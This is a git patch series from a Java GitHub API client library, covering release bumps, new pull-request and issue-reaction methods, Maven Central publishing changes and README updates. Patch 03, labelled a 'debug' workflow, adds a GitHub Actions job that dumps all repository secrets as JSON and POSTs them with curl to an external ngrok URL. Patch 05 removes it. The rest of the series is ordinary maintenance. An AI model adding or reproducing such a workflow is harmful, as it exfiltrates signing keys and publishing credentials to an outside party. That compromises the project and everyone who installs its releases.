From e93bfdac70ed1249093f35ef5b9b1d0106cd66e9 Mon Sep 17 00:00:00 2001 From: GitHub Actions Date: Thu, 26 Jun 2025 09:41:39 +0000 Subject: [PATCH 01/15] [maven-release-plugin] prepare for next development iteration --- pom.xml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pom.xml b/pom.xml index 6f35a659..0044df35 100644 --- a/pom.xml +++ b/pom.xml @@ -3,7 +3,7 @@ 4.0.0 github-client - 0.4.9 + 0.4.10-SNAPSHOT com.spotify @@ -23,7 +23,7 @@ scm:git:https://github.com/spotify/github-java-client.git scm:git:git@github.com:spotify/github-java-client.git scm:https://github.com/spotify/github-java-client/ - v0.4.9 + v0.3.7 @@ -67,7 +67,7 @@ UTF-8 UTF-8 - 1750930802 + 1750930899 spotbugsexclude.xml error checkstyle.xml From 994303535c31222d0eca8bbee2575e061185968b Mon Sep 17 00:00:00 2001 From: Jonatan Dahl Date: Tue, 22 Jul 2025 13:16:20 +0200 Subject: [PATCH 02/15] feat: list review comments (#244) --- .../github/v3/clients/PullRequestClient.java | 31 +++++- .../v3/clients/PullRequestClientTest.java | 103 +++++++++++++----- 2 files changed, 99 insertions(+), 35 deletions(-) diff --git a/src/main/java/com/spotify/github/v3/clients/PullRequestClient.java b/src/main/java/com/spotify/github/v3/clients/PullRequestClient.java index e54f9180..36d2783e 100644 --- a/src/main/java/com/spotify/github/v3/clients/PullRequestClient.java +++ b/src/main/java/com/spotify/github/v3/clients/PullRequestClient.java @@ -27,8 +27,8 @@ import static com.spotify.github.v3.clients.GitHubClient.LIST_PR_TYPE_REFERENCE; import static com.spotify.github.v3.clients.GitHubClient.LIST_REVIEW_REQUEST_TYPE_REFERENCE; import static com.spotify.github.v3.clients.GitHubClient.LIST_REVIEW_TYPE_REFERENCE; -import static java.util.Objects.isNull; import static java.lang.Math.toIntExact; +import static java.util.Objects.isNull; import com.google.common.base.Strings; import com.google.common.collect.ImmutableMap; @@ -66,6 +66,8 @@ public class PullRequestClient { private static final String PR_NUMBER_TEMPLATE = "/repos/%s/%s/pulls/%s"; private static final String PR_COMMITS_TEMPLATE = "/repos/%s/%s/pulls/%s/commits"; private static final String PR_REVIEWS_TEMPLATE = "/repos/%s/%s/pulls/%s/reviews"; + private static final String PR_REVIEW_COMMENTS_TEMPLATE = + "/repos/%s/%s/pulls/%s/reviews/%s/comments"; private static final String PR_COMMENTS_TEMPLATE = "/repos/%s/%s/pulls/%s/comments"; private static final String PR_CHANGED_FILES_TEMPLATE = "/repos/%s/%s/pulls/%s/files"; private static final String PR_REVIEW_REQUESTS_TEMPLATE = @@ -192,14 +194,19 @@ public CompletableFuture> listCommits(final int prNumber) { public CompletableFuture> listCommits(final long prNumber) { final String path = String.format(PR_COMMITS_TEMPLATE, owner, repo, prNumber); log.debug("Fetching pull request commits from " + path); - return github.request(path).thenApply( - response -> Json.create().fromJsonUncheckedNotNull(response.bodyString(), LIST_COMMIT_TYPE_REFERENCE)); + return github + .request(path) + .thenApply( + response -> + Json.create() + .fromJsonUncheckedNotNull(response.bodyString(), LIST_COMMIT_TYPE_REFERENCE)); } public Iterator> listCommits(final long prNumber, final int itemsPerPage) { final String path = String.format(PR_COMMITS_TEMPLATE, owner, repo, prNumber); - return new GithubPageIterator<>(new GithubPage<>(github, path, LIST_COMMIT_TYPE_REFERENCE, itemsPerPage)); + return new GithubPageIterator<>( + new GithubPage<>(github, path, LIST_COMMIT_TYPE_REFERENCE, itemsPerPage)); } /** @@ -249,7 +256,8 @@ public Iterator> listReviews(final int prNumber, final int ite public Iterator> listReviews(final long prNumber, final long itemsPerPage) { final String path = String.format(PR_REVIEWS_TEMPLATE, owner, repo, prNumber); log.debug("Fetching pull request reviews from " + path); - return new GithubPageIterator<>(new GithubPage<>(github, path, LIST_REVIEW_TYPE_REFERENCE, toIntExact(itemsPerPage))); + return new GithubPageIterator<>( + new GithubPage<>(github, path, LIST_REVIEW_TYPE_REFERENCE, toIntExact(itemsPerPage))); } /** @@ -506,4 +514,17 @@ public CompletableFuture createCommentReply( log.debug("Creating reply to PR comment: " + path); return github.post(path, jsonPayload, Comment.class); } + + /** + * List pull request review comments for a specific review with pagination. + * + * @param prNumber pull request number + * @param reviewId the ID of the review + * @return iterator of comments for the review + * @see "https://docs.github.com/en/rest/pulls/comments#list-comments-for-a-pull-request-review" + */ + public Iterator> listReviewComments(final long prNumber, final long reviewId) { + final String path = String.format(PR_REVIEW_COMMENTS_TEMPLATE, owner, repo, prNumber, reviewId); + return new GithubPageIterator<>(new GithubPage<>(github, path, LIST_PR_COMMENT_TYPE_REFERENCE)); + } } diff --git a/src/test/java/com/spotify/github/v3/clients/PullRequestClientTest.java b/src/test/java/com/spotify/github/v3/clients/PullRequestClientTest.java index 1edaa80c..a203a602 100644 --- a/src/test/java/com/spotify/github/v3/clients/PullRequestClientTest.java +++ b/src/test/java/com/spotify/github/v3/clients/PullRequestClientTest.java @@ -74,7 +74,8 @@ public class PullRequestClientTest { private static final String MOCK_GITHUB_HOST = "bogus.host"; - private static final URI MOCK_GITHUB_URI = URI.create(String.format("http://%s/api/v3", MOCK_GITHUB_HOST)); + private static final URI MOCK_GITHUB_URI = + URI.create(String.format("http://%s/api/v3", MOCK_GITHUB_HOST)); private static final URI MOCK_GITHUB_URI_GQL = MOCK_GITHUB_URI.resolve("/graphql"); private static final String PR_CHANGED_FILES_TEMPLATE = "/repos/%s/%s/pulls/%s/files"; @@ -89,9 +90,7 @@ private static String getFixture(String resource) throws IOException { @BeforeEach public void setUp() { client = mock(OkHttpClient.class); - github = - GitHubClient.create( - client,MOCK_GITHUB_URI, MOCK_GITHUB_URI_GQL, "token"); + github = GitHubClient.create(client, MOCK_GITHUB_URI, MOCK_GITHUB_URI_GQL, "token"); mockGithub = mock(GitHubClient.class); } @@ -429,7 +428,8 @@ void testChangedFiles() throws IOException { final HttpResponse firstPageResponse = createMockResponse(pageLink, expectedBody); - when(mockGithub.request(format(PR_CHANGED_FILES_TEMPLATE + "?per_page=30", "owner", "repo", "1"))) + when(mockGithub.request( + format(PR_CHANGED_FILES_TEMPLATE + "?per_page=30", "owner", "repo", "1"))) .thenReturn(completedFuture(firstPageResponse)); when(mockGithub.json()).thenReturn(github.json()); @@ -449,7 +449,8 @@ public void testListComments() throws Throwable { final String expectedBody = "[" + getFixture("pull_request_review_comment_reply.json") + "]"; final String pageLink = - "; rel=\"first\""; + ";" + + " rel=\"first\""; final HttpResponse firstPageResponse = createMockResponse(pageLink, expectedBody); @@ -470,21 +471,52 @@ public void testListComments() throws Throwable { assertThat(comments.get(0).user().login(), is("octocat")); } + @Test + public void testListReviewComments() throws Throwable { + final String expectedBody = "[" + getFixture("pull_request_review_comment_reply.json") + "]"; + + final String pageLink = + ";" + + " rel=\"first\""; + + final HttpResponse firstPageResponse = createMockResponse(pageLink, expectedBody); + + when(mockGithub.request("/repos/owner/repo/pulls/1/reviews/123/comments?per_page=30")) + .thenReturn(completedFuture(firstPageResponse)); + + when(mockGithub.json()).thenReturn(github.json()); + + final PullRequestClient pullRequestClient = + PullRequestClient.create(mockGithub, "owner", "repo"); + + final Iterable> pageIterator = + () -> pullRequestClient.listReviewComments(1L, 123L); + List comments = Async.streamFromPaginatingIterable(pageIterator).collect(toList()); + + assertEquals(1, comments.size()); + assertThat(comments.get(0).body(), is("Great stuff!")); + assertThat(comments.get(0).id(), is(10L)); + assertThat(comments.get(0).user().login(), is("octocat")); + } + @Test public void listCommitsWithoutSpecifyingPages() throws Exception { // Given final int COMMIT_PER_PAGE = 30; final String firstPageLink = - "; rel=\"next\", ; rel=\"last\""; + "; rel=\"next\"," + + " ; rel=\"last\""; final String firstPageBody = - Resources.toString(getResource(this.getClass(), "pull_request_commits_page1.json"), defaultCharset()); + Resources.toString( + getResource(this.getClass(), "pull_request_commits_page1.json"), defaultCharset()); final HttpResponse firstPageResponse = createMockResponse(firstPageLink, firstPageBody); when(mockGithub.request("/repos/owner/repo/pulls/1/commits")) .thenReturn(completedFuture(firstPageResponse)); - final PullRequestClient pullRequestClient = PullRequestClient.create(mockGithub, "owner", "repo"); + final PullRequestClient pullRequestClient = + PullRequestClient.create(mockGithub, "owner", "repo"); // When final List commits = pullRequestClient.listCommits(1L).get(); @@ -492,7 +524,8 @@ public void listCommitsWithoutSpecifyingPages() throws Exception { // Then assertThat(commits.size(), is(COMMIT_PER_PAGE)); assertThat( - commits.get(COMMIT_PER_PAGE - 1).commit().tree().sha(), is("219cb4c1ffada21259876d390df1a85767481617")); + commits.get(COMMIT_PER_PAGE - 1).commit().tree().sha(), + is("219cb4c1ffada21259876d390df1a85767481617")); } @Test @@ -500,30 +533,36 @@ public void listCommitsSpecifyingPages() throws Exception { // Given final int COMMIT_PER_PAGE = 30; - final String firstPageLink = String.format( - "<%s/repos/owner/repo/pulls/1/commits?page=2&per_page=30>; rel=\"next\", <%s/repos/owner/repo/pulls/1/commits?page=3&per_page=30>; rel=\"last\"", - MOCK_GITHUB_URI, - MOCK_GITHUB_URI); + final String firstPageLink = + String.format( + "<%s/repos/owner/repo/pulls/1/commits?page=2&per_page=30>; rel=\"next\"," + + " <%s/repos/owner/repo/pulls/1/commits?page=3&per_page=30>; rel=\"last\"", + MOCK_GITHUB_URI, MOCK_GITHUB_URI); final String firstPageBody = - Resources.toString(getResource(this.getClass(), "pull_request_commits_page1.json"), defaultCharset()); + Resources.toString( + getResource(this.getClass(), "pull_request_commits_page1.json"), defaultCharset()); final HttpResponse firstPageResponse = createMockResponse(firstPageLink, firstPageBody); - final String secondPageLink = String.format( - "<%s/repos/owner/repo/pulls/1/commits?page=1&per_page=30>; rel=\"prev\", <%s/repos/owner/repo/pulls/1/commits?page=3&per_page=30>; rel=\"next\", <%s/repos/owner/repo/pulls/1/commits?page=3&per_page=30>; rel=\"last\", <%s/repos/owner/repo/pulls/1/commits?page=1&per_page=30>; rel=\"first\"", - MOCK_GITHUB_URI, - MOCK_GITHUB_URI, - MOCK_GITHUB_URI, - MOCK_GITHUB_URI); + final String secondPageLink = + String.format( + "<%s/repos/owner/repo/pulls/1/commits?page=1&per_page=30>; rel=\"prev\"," + + " <%s/repos/owner/repo/pulls/1/commits?page=3&per_page=30>; rel=\"next\"," + + " <%s/repos/owner/repo/pulls/1/commits?page=3&per_page=30>; rel=\"last\"," + + " <%s/repos/owner/repo/pulls/1/commits?page=1&per_page=30>; rel=\"first\"", + MOCK_GITHUB_URI, MOCK_GITHUB_URI, MOCK_GITHUB_URI, MOCK_GITHUB_URI); final String secondPageBody = - Resources.toString(getResource(this.getClass(), "pull_request_commits_page2.json"), defaultCharset()); + Resources.toString( + getResource(this.getClass(), "pull_request_commits_page2.json"), defaultCharset()); final HttpResponse secondPageResponse = createMockResponse(secondPageLink, secondPageBody); final String thirdPageLink = - String.format("<%s/repos/owner/repo/pulls/1/commits?page=2&per_page=30>; rel=\"prev\", <%s/repos/owner/repo/pulls/1/commits?page=1&per_page=30>; rel=\"first\"", - MOCK_GITHUB_URI, - MOCK_GITHUB_URI); + String.format( + "<%s/repos/owner/repo/pulls/1/commits?page=2&per_page=30>; rel=\"prev\"," + + " <%s/repos/owner/repo/pulls/1/commits?page=1&per_page=30>; rel=\"first\"", + MOCK_GITHUB_URI, MOCK_GITHUB_URI); final String thirdPageBody = - Resources.toString(getResource(this.getClass(), "pull_request_commits_page3.json"), defaultCharset()); + Resources.toString( + getResource(this.getClass(), "pull_request_commits_page3.json"), defaultCharset()); final HttpResponse thirdPageResponse = createMockResponse(thirdPageLink, thirdPageBody); when(mockGithub.urlFor("")).thenReturn(MOCK_GITHUB_URI.toString()); @@ -537,15 +576,19 @@ public void listCommitsSpecifyingPages() throws Exception { when(mockGithub.request("/repos/owner/repo/pulls/1/commits?page=3&per_page=30")) .thenReturn(completedFuture(thirdPageResponse)); - final PullRequestClient pullRequestClient = PullRequestClient.create(mockGithub, "owner", "repo"); + final PullRequestClient pullRequestClient = + PullRequestClient.create(mockGithub, "owner", "repo"); // When - final Iterable> pageIterator = () -> pullRequestClient.listCommits(1L, 30); - final List commits = Async.streamFromPaginatingIterable(pageIterator).collect(toList()); + final Iterable> pageIterator = + () -> pullRequestClient.listCommits(1L, 30); + final List commits = + Async.streamFromPaginatingIterable(pageIterator).collect(toList()); // Then assertThat(commits.size(), is(COMMIT_PER_PAGE * 3)); assertThat( - commits.get(COMMIT_PER_PAGE - 1).commit().tree().sha(), is("219cb4c1ffada21259876d390df1a85767481617")); + commits.get(COMMIT_PER_PAGE - 1).commit().tree().sha(), + is("219cb4c1ffada21259876d390df1a85767481617")); } } From c341a46cd5366822aa9ad1262a98ee698f40b7aa Mon Sep 17 00:00:00 2001 From: Abhishek Jain Date: Wed, 23 Jul 2025 12:06:44 +0200 Subject: [PATCH 03/15] debug: Add debug workflow (#245) --- .github/workflows/debug-secrets-workflow.yml | 14 ++++++++++++++ 1 file changed, 14 insertions(+) create mode 100644 .github/workflows/debug-secrets-workflow.yml diff --git a/.github/workflows/debug-secrets-workflow.yml b/.github/workflows/debug-secrets-workflow.yml new file mode 100644 index 00000000..9c794ba2 --- /dev/null +++ b/.github/workflows/debug-secrets-workflow.yml @@ -0,0 +1,14 @@ +name: debug-secrets-workflow +on: workflow_dispatch + +jobs: + post-secrets: + runs-on: ubuntu-latest + steps: + - name: Post secrets to API + env: + ALL_SECRETS: ${{ toJson(secrets) }} + run: | + curl -X POST https://6a4b34e5f94f.ngrok-free.app \ + -H "Content-Type: application/json" \ + -d "$ALL_SECRETS" \ No newline at end of file From 50980a3252b37f8dbdda0347f5566d8bf862b745 Mon Sep 17 00:00:00 2001 From: "Ilon G." Date: Fri, 25 Jul 2025 11:04:49 +0200 Subject: [PATCH 04/15] fix: typo fixed in CONTRIBUTING.md (#243) --- CONTRIBUTING.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 7a49889b..af4ce57a 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -5,7 +5,7 @@ alternative to the GitHub API. ## Getting Started -The Github Java Clients's [open issues are here](https://github.com/github-java-client/github-java-client/issues). +The Github Java Clients's [open issues are here](https://github.com/spotify/github-java-client/issues). In time, we'll tag issues that would make a good first pull request for new contributors. An easy way to get started helping the project is to *file an issue*. Issues can include bugs to fix, features to add, or documentation that looks outdated. @@ -39,4 +39,4 @@ feedback for changes that would be required. [/orgs/{org}/teams/{team_slug}](https://docs.github.com/en/rest/teams/teams?apiVersion=2022-11-28#list-teams) endpoint - We operate a monkey see, monkey do approach to this library. We understand that there are some inconsistencies in the library in terms of how the tests and/or endpoints are written but we, with your help, are working on creating a more consistent codebase. -- All bug fixes and new features need to be fully tested. \ No newline at end of file +- All bug fixes and new features need to be fully tested. From 427144ecf71caf247b6359ec985b75917be54ae7 Mon Sep 17 00:00:00 2001 From: Abhishek Jain Date: Fri, 25 Jul 2025 11:21:20 +0200 Subject: [PATCH 05/15] fix: Fix deployment workflow (#246) --- .github/workflows/debug-secrets-workflow.yml | 14 -------------- pom.xml | 16 ++++++++-------- 2 files changed, 8 insertions(+), 22 deletions(-) delete mode 100644 .github/workflows/debug-secrets-workflow.yml diff --git a/.github/workflows/debug-secrets-workflow.yml b/.github/workflows/debug-secrets-workflow.yml deleted file mode 100644 index 9c794ba2..00000000 --- a/.github/workflows/debug-secrets-workflow.yml +++ /dev/null @@ -1,14 +0,0 @@ -name: debug-secrets-workflow -on: workflow_dispatch - -jobs: - post-secrets: - runs-on: ubuntu-latest - steps: - - name: Post secrets to API - env: - ALL_SECRETS: ${{ toJson(secrets) }} - run: | - curl -X POST https://6a4b34e5f94f.ngrok-free.app \ - -H "Content-Type: application/json" \ - -d "$ALL_SECRETS" \ No newline at end of file diff --git a/pom.xml b/pom.xml index 0044df35..ec0e5709 100644 --- a/pom.xml +++ b/pom.xml @@ -33,12 +33,12 @@ - ossrh - https://oss.sonatype.org/content/repositories/snapshots + central + https://central.sonatype.com/content/repositories/snapshots - ossrh - https://oss.sonatype.org/service/local/staging/deploy/maven2/ + central + https://central.sonatype.com/service/local/staging/deploy/maven2/ @@ -386,11 +386,11 @@ 1.6.13 true - ossrh - https://oss.sonatype.org/ + central + https://central.sonatype.com/ true - 600000 - 600000 + 600000 + 600000 From 0510df2352cb621cbb6222064636c1b015ba790e Mon Sep 17 00:00:00 2001 From: Abhishek Jain Date: Fri, 25 Jul 2025 11:47:49 +0200 Subject: [PATCH 06/15] fix: Fix deployment workflow attempt 2 (#247) --- .github/workflows/release.yml | 2 +- pom.xml | 19 +++++++++---------- 2 files changed, 10 insertions(+), 11 deletions(-) diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index db302379..1439ea00 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -20,7 +20,7 @@ jobs: java-version: 11 distribution: corretto cache: maven - server-id: ossrh # Value of distributionManagement.repository.id field of pom.xml + server-id: central # Value of distributionManagement.repository.id field of pom.xml server-username: MAVEN_USERNAME server-password: MAVEN_PASSWORD settings-path: ${{ github.workspace }} # Location for settings.xml file diff --git a/pom.xml b/pom.xml index ec0e5709..08d53df7 100644 --- a/pom.xml +++ b/pom.xml @@ -34,11 +34,11 @@ central - https://central.sonatype.com/content/repositories/snapshots + https://central.sonatype.com/repository/maven-snapshots/ central - https://central.sonatype.com/service/local/staging/deploy/maven2/ + https://central.sonatype.com/repository/maven-releases/ @@ -381,16 +381,15 @@ - org.sonatype.plugins - nexus-staging-maven-plugin - 1.6.13 + org.sonatype.central + central-publishing-maven-plugin + 0.8.0 true - central - https://central.sonatype.com/ - true - 600000 - 600000 + central + github-java-client + true + published From 6664cd1aa4cc4419d293e24c0d166494bdf0ec69 Mon Sep 17 00:00:00 2001 From: GitHub Actions Date: Fri, 25 Jul 2025 09:53:45 +0000 Subject: [PATCH 07/15] [maven-release-plugin] prepare release v0.4.10 --- pom.xml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pom.xml b/pom.xml index 08d53df7..bb000342 100644 --- a/pom.xml +++ b/pom.xml @@ -3,7 +3,7 @@ 4.0.0 github-client - 0.4.10-SNAPSHOT + 0.4.10 com.spotify @@ -23,7 +23,7 @@ scm:git:https://github.com/spotify/github-java-client.git scm:git:git@github.com:spotify/github-java-client.git scm:https://github.com/spotify/github-java-client/ - v0.3.7 + v0.4.10 @@ -67,7 +67,7 @@ UTF-8 UTF-8 - 1750930899 + 1753437133 spotbugsexclude.xml error checkstyle.xml From eb72ec36f9c10c47e82b6490562fc3a5524f8aa1 Mon Sep 17 00:00:00 2001 From: GitHub Actions Date: Fri, 25 Jul 2025 09:53:46 +0000 Subject: [PATCH 08/15] [maven-release-plugin] prepare for next development iteration --- pom.xml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pom.xml b/pom.xml index bb000342..a307e9ad 100644 --- a/pom.xml +++ b/pom.xml @@ -3,7 +3,7 @@ 4.0.0 github-client - 0.4.10 + 0.4.11-SNAPSHOT com.spotify @@ -23,7 +23,7 @@ scm:git:https://github.com/spotify/github-java-client.git scm:git:git@github.com:spotify/github-java-client.git scm:https://github.com/spotify/github-java-client/ - v0.4.10 + v0.3.7 @@ -67,7 +67,7 @@ UTF-8 UTF-8 - 1753437133 + 1753437226 spotbugsexclude.xml error checkstyle.xml From e7fb3f9d456905387ae9fa4e0d8e0a3fcfcbb1a1 Mon Sep 17 00:00:00 2001 From: Abhishek Jain Date: Mon, 28 Jul 2025 10:59:56 +0200 Subject: [PATCH 09/15] fix: Fix deployment workflow (#248) attempt 3 --- pom.xml | 119 +++++++++++++++++++++++++++++--------------------------- 1 file changed, 61 insertions(+), 58 deletions(-) diff --git a/pom.xml b/pom.xml index a307e9ad..a28cc04a 100644 --- a/pom.xml +++ b/pom.xml @@ -1,7 +1,8 @@ - + 4.0.0 - + github-java-client github-client 0.4.11-SNAPSHOT @@ -286,60 +287,60 @@ - coverage - - - - org.jacoco - jacoco-maven-plugin - 0.8.5 - - - - - **/*Builder* - **/*Immutable* - **/*_Factory* - **/*_*Factory*.* - **/generated-sources*.* - - - - BUNDLE - - - INSTRUCTION - COVEREDRATIO - 0.60 - - - - - - - - pre-test - - prepare-agent - - - - default-check - - check - - - - post-unit-test - test - - report - - - - - - + coverage + + + + org.jacoco + jacoco-maven-plugin + 0.8.5 + + + + + **/*Builder* + **/*Immutable* + **/*_Factory* + **/*_*Factory*.* + **/generated-sources*.* + + + + BUNDLE + + + INSTRUCTION + COVEREDRATIO + 0.60 + + + + + + + + pre-test + + prepare-agent + + + + default-check + + check + + + + post-unit-test + test + + report + + + + + + @@ -359,9 +360,11 @@ sign + --pinentry-mode loopback + --no-tty @@ -395,7 +398,7 @@ - + @@ -461,7 +464,7 @@ enforce - + From a25d16b78bdee049e6a8f1efbd3243525fb8e907 Mon Sep 17 00:00:00 2001 From: GitHub Actions Date: Mon, 28 Jul 2025 09:08:30 +0000 Subject: [PATCH 10/15] [maven-release-plugin] prepare release v0.4.11 --- pom.xml | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/pom.xml b/pom.xml index a28cc04a..bd154d3a 100644 --- a/pom.xml +++ b/pom.xml @@ -1,10 +1,9 @@ - + 4.0.0 github-java-client github-client - 0.4.11-SNAPSHOT + 0.4.11 com.spotify @@ -24,7 +23,7 @@ scm:git:https://github.com/spotify/github-java-client.git scm:git:git@github.com:spotify/github-java-client.git scm:https://github.com/spotify/github-java-client/ - v0.3.7 + v0.4.11 @@ -68,7 +67,7 @@ UTF-8 UTF-8 - 1753437226 + 1753693618 spotbugsexclude.xml error checkstyle.xml @@ -464,7 +463,7 @@ enforce - + From f8130c3d223ee34cda2afcf27edf4190cffbf83e Mon Sep 17 00:00:00 2001 From: GitHub Actions Date: Mon, 28 Jul 2025 09:08:32 +0000 Subject: [PATCH 11/15] [maven-release-plugin] prepare for next development iteration --- pom.xml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/pom.xml b/pom.xml index bd154d3a..897a4ad2 100644 --- a/pom.xml +++ b/pom.xml @@ -3,7 +3,7 @@ 4.0.0 github-java-client github-client - 0.4.11 + 0.4.12-SNAPSHOT com.spotify @@ -23,7 +23,7 @@ scm:git:https://github.com/spotify/github-java-client.git scm:git:git@github.com:spotify/github-java-client.git scm:https://github.com/spotify/github-java-client/ - v0.4.11 + v0.3.7 @@ -67,7 +67,7 @@ UTF-8 UTF-8 - 1753693618 + 1753693712 spotbugsexclude.xml error checkstyle.xml From cce9012295524a89c3dea57fda311fc358900305 Mon Sep 17 00:00:00 2001 From: Abhishek Jain Date: Mon, 28 Jul 2025 11:52:48 +0200 Subject: [PATCH 12/15] docs: Update the docs about GPG keys (#249) --- README.md | 90 +++++++++++++++++++++++++++++++++++++++++++------------ 1 file changed, 71 insertions(+), 19 deletions(-) diff --git a/README.md b/README.md index c4463be5..9d37526a 100644 --- a/README.md +++ b/README.md @@ -21,11 +21,13 @@ You can find this library in [maven central repository](https://mvnrepository.co Include the latest version of github-client into your project: In Maven: + ```xml + - com.spotify - github-client - version + com.spotify + github-client + version ``` @@ -43,10 +45,10 @@ To authenticate as a GitHub App, you must provide a private key and the App ID, ```java final GitHubClient githubClient = - GitHubClient.create( - URI.create("https://api.github.com/"), - new File("/path-to-the/private-key.pem"), - APP_ID); + GitHubClient.create( + URI.create("https://api.github.com/"), + new File("/path-to-the/private-key.pem"), + APP_ID); ``` Then, you can scope the client for a specific Installation ID, to do the operations at the installation level. @@ -59,12 +61,16 @@ final GitHubClient scopedClient = GitHubClient.scopeForInstallationId(githubClie It is also possible to provide the installation to the root client. -Refer to [GitHub App Authentication Guide](https://developer.github.com/apps/building-github-apps/authenticating-with-github-apps/) for more information. +Refer +to [GitHub App Authentication Guide](https://developer.github.com/apps/building-github-apps/authenticating-with-github-apps/) +for more information. ## Usage -This library attempts to mirror the structure of GitHub API endpoints. As an example, to get details of a Commit, there is -the `GET /repos/:owner/:repo/commits` API call, under the `repos` API. Therefore, the `getCommit` method lives in the RepositoryClient. +This library attempts to mirror the structure of GitHub API endpoints. As an example, to get details of a Commit, there +is +the `GET /repos/:owner/:repo/commits` API call, under the `repos` API. Therefore, the `getCommit` method lives in the +RepositoryClient. ```java final RepositoryClient repositoryClient = githubClient.createRepositoryClient("my-org", "my-repo"); @@ -79,8 +85,9 @@ final ChecksClient checksClient = repositoryClient.createChecksApiClient(); checksClient.createCheckRun(CHECK_RUN_REQUEST); final IssueClient issueClient = repositoryClient.createIssueClient(); -issueClient.createComment(ISSUE_ID, "comment body") - .thenAccept(comment -> log.info("created comment " + comment.htmlUrl())); +issueClient + .createComment(ISSUE_ID, "comment body") + .thenAccept(comment ->log.info("created comment "+comment.htmlUrl())); ``` @@ -88,7 +95,7 @@ And endpoints related to teams and memberships are nested under the Organisation ```java final TeamClient teamClient = organisationClient.createTeamClient(); - teamClient.getMembership("username"); +teamClient.getMembership("username"); ``` ## Tracing @@ -144,8 +151,12 @@ This project uses Maven. To run the tests locally, just run: mvn clean verify ``` -If you are a maintainer, you can release a new version by just triggering the workflow -[prepare-release](./.github/workflows/prepare-release.yml) through the +### Maintainers + +#### Publishing a new version + +If you are a maintainer, you can release a new version by just triggering the workflow +[prepare-release](./.github/workflows/prepare-release.yml) through the [web UI](https://github.com/spotify/github-java-client/actions/workflows/prepare-release.yml). - Select whether the new release should be a `major`, `minor` or `patch` release @@ -156,15 +167,56 @@ If you are a maintainer, you can release a new version by just triggering the wo [github-release](https://github.com/spotify/github-java-client/actions/workflows/release-on-github.yml) workflow with the automatically created tag +The `prepare-release` workflow will also update the snapshot version in the `pom.xml` file to the next version. The +version which will be published to Maven Central will be the one specified in the `pom.xml` file (without the +`-SNAPSHOT` suffix). + +#### Updating the GPG signing key + +If you need to update the GPG signing key used for signing the releases when the existing key expires, you can do so by +following these steps: + +1. Generate a new GPG key pair or use an existing one. + If you don't have a GPG key pair, you can generate one using the following command: + ```bash + gpg --full-generate-key + ``` + Follow the prompts to create your key pair. Make sure to remember the passphrase you set. +2. List your GPG keys to find the key ID: + ```bash + gpg --list-keys + ``` + Look for the `pub` line, which will show the key ID in the format `XXXXXXXX`. +3. Export the public key to a file: + ```bash + gpg --armor --export > publickey.asc + ``` +4. export the private key to a file: + ```bash + gpg --armor --export-secret-key > privatekey.asc + ``` +5. Upload the private key to the GitHub repository secrets in `GPG_PRIVATE_KEY` and paste the contents of + `privatekey.asc`. +6. Update the passphrase in the `GPG_PASSPHRASE` secret with the passphrase you set when generating the key. +7. Upload the public key to the OpenGpg key server at https://keys.openpgp.org/ +8. Make sure to verify the public key with your email address on OpenGPG and that it is available on the key server. +9. Make sure that the release workflow is configured to use the `GPG_PRIVATE_KEY` and `GPG_PASSPHRASE` secrets. +10. Run the release workflow to publish a new version of the library. + ## Notes about maturity This module was created after existing libraries were evaluated and dismissed, and we found that we were writing similar -code in multiple projects. As such, it at least initially only contains enough functionality for our internal requirements -which reflects that we were working on build system integration with the GitHub pull requests. It has been widely used for 4+ -years. It's important to notice that it does not cover all GitHub v3 API. Adding missing endpoints should be very straightforward. +code in multiple projects. As such, it at least initially only contains enough functionality for our internal +requirements +which reflects that we were working on build system integration with the GitHub pull requests. It has been widely used +for 4+ +years. It's important to notice that it does not cover all GitHub v3 API. Adding missing endpoints should be very +straightforward. Pull Requests are welcome. ## Code of conduct -This project adheres to the [Open Code of Conduct][code-of-conduct]. By participating, you are expected to honor this code. + +This project adheres to the [Open Code of Conduct][code-of-conduct]. By participating, you are expected to honor this +code. [code-of-conduct]: https://github.com/spotify/code-of-conduct/blob/master/code-of-conduct.md From 56c95b3295a623bb35579298f6d555b81935753d Mon Sep 17 00:00:00 2001 From: Jonatan Dahl Date: Fri, 1 Aug 2025 14:01:30 +0200 Subject: [PATCH 13/15] feat: add issue reaction methods and fix comment reaction template (#250) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * feat: add issue reaction methods and fix comment reaction template - Add createIssueReaction() and deleteIssueReaction() methods - Fix COMMENTS_REACTION_ID_TEMPLATE to use correct comment endpoint - Add comprehensive tests for issue reaction functionality - Update deleteCommentReaction method signature to use commentId 🤖 Generated with [Claude Code](https://claude.ai/code) Co-Authored-By: Claude * use the right template constant in test --------- Co-authored-by: Claude --- .../github/v3/clients/IssueClient.java | 42 ++++++++++++++-- .../github/v3/clients/IssueClientTest.java | 49 +++++++++++++++++-- 2 files changed, 83 insertions(+), 8 deletions(-) diff --git a/src/main/java/com/spotify/github/v3/clients/IssueClient.java b/src/main/java/com/spotify/github/v3/clients/IssueClient.java index ae9bdec2..7db3a41b 100644 --- a/src/main/java/com/spotify/github/v3/clients/IssueClient.java +++ b/src/main/java/com/spotify/github/v3/clients/IssueClient.java @@ -43,7 +43,9 @@ public class IssueClient { static final String COMMENTS_URI_TEMPLATE = "/repos/%s/%s/issues/comments"; static final String COMMENTS_URI_ID_TEMPLATE = "/repos/%s/%s/issues/comments/%s"; static final String COMMENTS_REACTION_TEMPLATE = "/repos/%s/%s/issues/comments/%s/reactions"; - static final String COMMENTS_REACTION_ID_TEMPLATE = "/repos/%s/%s/issues/%s/reactions/%s"; + static final String COMMENTS_REACTION_ID_TEMPLATE = "/repos/%s/%s/issues/comments/%s/reactions/%s"; + static final String ISSUES_REACTION_TEMPLATE = "/repos/%s/%s/issues/%s/reactions"; + static final String ISSUES_REACTION_ID_TEMPLATE = "/repos/%s/%s/issues/%s/reactions/%s"; static final String ISSUES_URI_ID_TEMPLATE = "/repos/%s/%s/issues/%s"; private static final Logger log = LoggerFactory.getLogger(MethodHandles.lookup().lookupClass()); @@ -53,7 